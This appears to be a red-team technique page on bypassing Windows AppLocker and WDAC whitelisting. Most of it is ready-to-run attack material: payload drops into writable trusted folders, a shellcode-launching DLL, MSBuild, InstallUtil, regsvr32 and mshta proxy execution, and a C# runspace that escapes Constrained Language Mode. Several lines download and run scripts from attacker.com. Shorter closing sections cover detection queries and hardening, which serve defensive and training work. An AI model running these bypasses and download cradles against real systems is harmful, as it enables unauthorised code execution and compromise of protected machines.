AppLocker and WDAC Bypass Techniques

Introduction

AppLocker and Windows Defender Application Control (WDAC) occupy different positions in Windows application whitelisting. AppLocker is enforced in user-mode by the Application Identity service (AppIDSvc) and evaluated at process creation — it's rule-based (path, publisher, hash) and configured per-GPO. WDAC is enforced at the kernel level via Code Integrity (CI.dll) and the Windows kernel, making it significantly more resistant to bypass. Despite the architectural difference, both leave exploitable gaps.

AppLocker's weakness is path-based rules. Most enterprise deployments allow execution from C:\Windows\* and C:\Program Files\* because blocking those paths breaks legitimate software. Writable subdirectories within allowed paths — C:\Windows\Tasks, C:\Windows\Tracing, C:\Windows\Registration\CRMLog — let you drop binaries into trusted locations without admin rights. DLL rules are also disabled by default, which means any EXE that loads DLLs from attacker-controlled paths is an execution primitive.

WDAC's bypass surface is narrower but exists. COM objects, inline tasks in MSBuild, and the boundary between user-mode and kernel enforcement create gaps. Understanding which policy is active and how it was configured determines which path applies. The goal in both cases is the same: achieve arbitrary code execution while appearing to operate within the policy boundary.

Impact

• Full bypass of application whitelisting on misconfigured systems without admin rights
• PowerShell CLM escape enabling unrestricted script execution from a locked-down session
• DLL hijacking via AppLocker gap — unsigned DLLs loadable through allowed EXEs
• LOLBAS proxy execution that satisfies path/publisher rules while running arbitrary code
• Persistence through allowed paths — scheduled tasks and startup entries from writable C:\Windows\ subdirs
• WDAC policy exfiltration for pre-engagement planning to identify exact rule gaps

Technical Details

Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

Get-AppLockerPolicy -Effective -Xml | Out-File C:\Users\Public\applocker_policy.xml

(Get-AppLockerPolicy -Effective).RuleCollections | Where-Object { $_.RuleCollectionType -eq 'Dll' }

accesschk.exe -uwdq "C:\Windows" /accepteula 2>nul

C:\Windows\Tasks
C:\Windows\Tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System
C:\Windows\SysWOW64\Tasks
C:\Windows\Temp  (variable — depends on ACL hardening)

copy payload.exe C:\Windows\Tasks\update.exe
C:\Windows\Tasks\update.exe

procmon.exe /Quiet /Minimized /BackingFile C:\tmp\trace.pml

// Compile: x86_64-w64-mingw32-gcc -shared -o target.dll loader.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
    if (reason == DLL_PROCESS_ATTACH)
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Shellcode, NULL, 0, NULL);
    return TRUE;
}

regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Execute">
    <ClassicTask />
  </Target>
  <UsingTask TaskName="ClassicTask" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
        using System; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
        public class ClassicTask : Task {
          public override bool Execute() {
            System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\Users\\Public\\out.txt");
            return true;
          }
        }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage

using System.Management.Automation;
using System.Management.Automation.Runspaces;

var rs = RunspaceFactory.CreateRunspace();
rs.Open();
// Runspace created outside constrained context runs in FullLanguage
var ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')");
ps.Invoke();

powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

# This works from FullLanguage mode obtained via a custom runspace
[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\Windows\Tasks\implant.dll"))
[Implant.Core]::Execute()

citool.exe /list-policies

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"

# CIPolicyParser.ps1 from https://github.com/mattifestation/WDACTools
Import-Module .\CIPolicyParser.ps1
ConvertFrom-CIPolicy -BinaryFilePath C:\Windows\System32\CodeIntegrity\SIPolicy.p7b -XmlFilePath policy.xml

$obj = [Activator]::CreateInstance([Type]::GetTypeFromProgID("WScript.Shell"))
$obj.Run("cmd.exe /c whoami > C:\Users\Public\out.txt", 0, $true)

Attack Tools

# Effective policy (all rule collections)
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Export XML for offline analysis
Get-AppLockerPolicy -Effective -Xml | Out-File .\applocker.xml

# Check if DLL rules are enforced
(Get-AppLockerPolicy -Effective).RuleCollections |
  Where-Object { $_.RuleCollectionType -eq 'Dll' } |
  Select-Object RuleCollectionType, EnforcementMode

# Test if a specific file would be allowed
Test-AppLockerPolicy -Path C:\Windows\Tasks\test.exe -User Everyone

# Find writable dirs in trusted paths (requires accesschk)
accesschk.exe -uwdq "C:\Windows" /accepteula 2>nul | Select-String "RW"
accesschk.exe -uwdq "C:\Program Files" /accepteula 2>nul | Select-String "RW"

regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll
# Or file-based
regsvr32.exe /s /n /u /i:C:\Windows\Tasks\payload.sct scrobj.dll

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Tasks\payload.csproj
# 32-bit framework path
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Tasks\payload.csproj

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\payload.exe

mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd.exe"",0,True:close")
mshta.exe http://attacker.com/payload.hta

$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage = CLM enforced

# Downgrade to PS2 if engine available
powershell.exe -Version 2 -ExecutionPolicy Bypass -Command "whoami"

# Check PS2 availability
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

class Program {
    static void Main(string[] args) {
        Runspace rs = RunspaceFactory.CreateRunspace();
        rs.Open();
        PowerShell ps = PowerShell.Create();
        ps.Runspace = rs;
        ps.AddScript(args[0]); // pass script as argument
        var results = ps.Invoke();
        foreach (var r in results) Console.WriteLine(r);
    }
}

C:\Windows\Tasks\PSBypass.exe "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"

citool.exe /list-policies
citool.exe /list-policies --json

# Active policy binary locations
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"

# Code integrity event log (audit vs enforce hits)
Get-WinEvent -LogName "Microsoft-Windows-CodeIntegrity/Operational" -MaxEvents 50 |
  Where-Object { $_.Id -in @(3076, 3077) } |
  Select-Object TimeCreated, Id, Message
# 3076 = audit block, 3077 = enforce block

# Parse binary policy to XML (WDACTools module)
# https://github.com/mattifestation/WDACTools
Import-Module .\WDACTools.psd1
ConvertFrom-CIPolicy -BinaryFilePath "C:\Windows\System32\CodeIntegrity\SIPolicy.p7b" `
                     -XmlFilePath .\SIPolicy.xml

[xml]$policy = Get-Content .\SIPolicy.xml
$policy.SiPolicy.Rules.Rule | Select-Object -ExpandProperty Option
# Look for: Enabled:Audit Mode Only (not blocking)
# Enabled:UMCI = user-mode code integrity active

Detection

AppLocker bypass attempts generate:

WDAC violations:

Behavioral detections:

• regsvr32.exe spawning network connections or child processes — covers the /i:http:// scriptlet path
• MSBuild.exe executed outside Visual Studio or build pipeline context — process parent is not devenv.exe, cmd.exe from a build script, or CI agent
• InstallUtil.exe with /U flag and no corresponding installer log
• mshta.exe with inline VBScript arguments
• PowerShell Script Block Logging (Event 4104) captures code executed in CLM bypass runspaces — the compiled C# creates a new runspace, but if the payload script runs PowerShell commands, 4104 fires
• powershell.exe -Version 2 invocation — no legitimate administrative reason in most environments
• File write events (Sysmon Event ID 11) to C:\Windows\Tasks\, C:\Windows\Tracing\, C:\Windows\Registration\CRMLog\ from non-system processes

SIEM detection for trusted-path abuse:

(EventCode=4688 OR EventCode=1) AND
NewProcessName LIKE "C:\\Windows\\Tasks\\%" OR
NewProcessName LIKE "C:\\Windows\\Tracing\\%" OR
NewProcessName LIKE "C:\\Windows\\Registration\\CRMLog\\%"

Remediation

AppLocker hardening:

• Enable DLL rule collection — add <DllRules> to policy. This significantly increases enforcement but requires testing to avoid breaking applications
• Replace wildcard path rules (%WINDIR%\*) with explicit publisher rules for known-good software — reduces the trusted-path attack surface
• Audit writable directories within allowed path trees using icacls or accesschk and remove Users or Everyone write permissions on subdirectories under C:\Windows\
• Restrict %WINDIR%\Microsoft.NET\Framework*\MSBuild.exe, InstallUtil.exe, regsvr32.exe, and mshta.exe via publisher rules to specific approved use cases or block entirely if not needed
• Disable PowerShell v2: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

WDAC over AppLocker:

Prefer WDAC — it is kernel-enforced and not dependent on the Application Identity service running. WDAC with HVCI (Hypervisor-Protected Code Integrity) raises the bar significantly:

• Use ConfigCI module to build policies: New-CIPolicy, Merge-CIPolicy, ConvertFrom-CIPolicy
• Start in audit mode (Event 3076) before enforcing to baseline the environment
• Deploy supplemental policies for per-application exceptions rather than widening the base policy
• Enable UMCI (user-mode code integrity) — without it, only kernel-mode code is checked
• Block known LOLBAS via explicit deny rules in WDAC policy (Microsoft publishes a recommended block list)

PowerShell hardening:

• Enable Script Block Logging (Event 4104): HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1
• Enable Transcription logging: captures all PS input/output to file
• Enforce Constrained Language Mode via WDAC (not AppLocker — AppLocker CLM can be bypassed more easily)
• Deploy Just Enough Administration (JEA) for legitimate admin PowerShell use cases

References

MITRE ATT&CK Techniques

• T1218 - System Binary Proxy Execution
• T1553 - Subvert Trust Controls
• T1059.001 - Command and Scripting Interpreter: PowerShell

Tools Documentation

• LOLBAS Project — Living-off-the-land binary catalog
• WDACTools by mattifestation — WDAC policy parsing PowerShell module
• citool.exe documentation — Windows built-in CI policy management
• Microsoft WDAC Wizard — GUI policy builder
• AppLocker documentation
• Sysinternals AccessChk — Permission enumeration

Next Steps

• EDR Evasion Techniques
• LOLBAS and Living Off the Land
• PowerShell Offensive Techniques
• Windows Privilege Escalation